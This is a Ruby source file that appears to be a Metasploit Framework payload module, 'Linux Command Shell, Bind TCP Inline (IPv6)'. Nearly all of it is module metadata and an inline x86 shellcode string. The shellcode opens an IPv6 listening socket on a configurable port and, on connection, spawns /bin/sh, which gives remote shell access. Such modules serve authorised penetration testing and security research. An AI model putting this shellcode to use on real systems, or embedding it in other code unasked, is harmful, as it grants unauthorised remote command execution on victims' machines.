##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = 90

  include Msf::Payload::Single
  include Msf::Payload::Linux
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Linux Command Shell, Bind TCP Inline (IPv6)',
      'Description'   => 'Listen for a connection over IPv6 and spawn a command shell',
      'Author'        => 'kris katterjohn',
      'License'       => MSF_LICENSE,
      'Platform'      => 'linux',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' => { 'LPORT' => [ 0x18, 'n' ], },
          'Payload' =>
            "\x31\xdb\x53\x43\x53\x6a\x0a\x89\xe1\x6a\x66\x58\xcd\x80\x96" +
            "\x99\x52\x52\x52\x52\x52\x52\x66\x68\xbf\xbf\x66\x68\x0a\x00" +
            "\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\xb0" +
            "\x66\xb3\x04\xcd\x80\x52\x52\x56\x89\xe1\x43\xb0\x66\xcd\x80" +
            "\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68" +
            "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
        }
      ))
  end
end
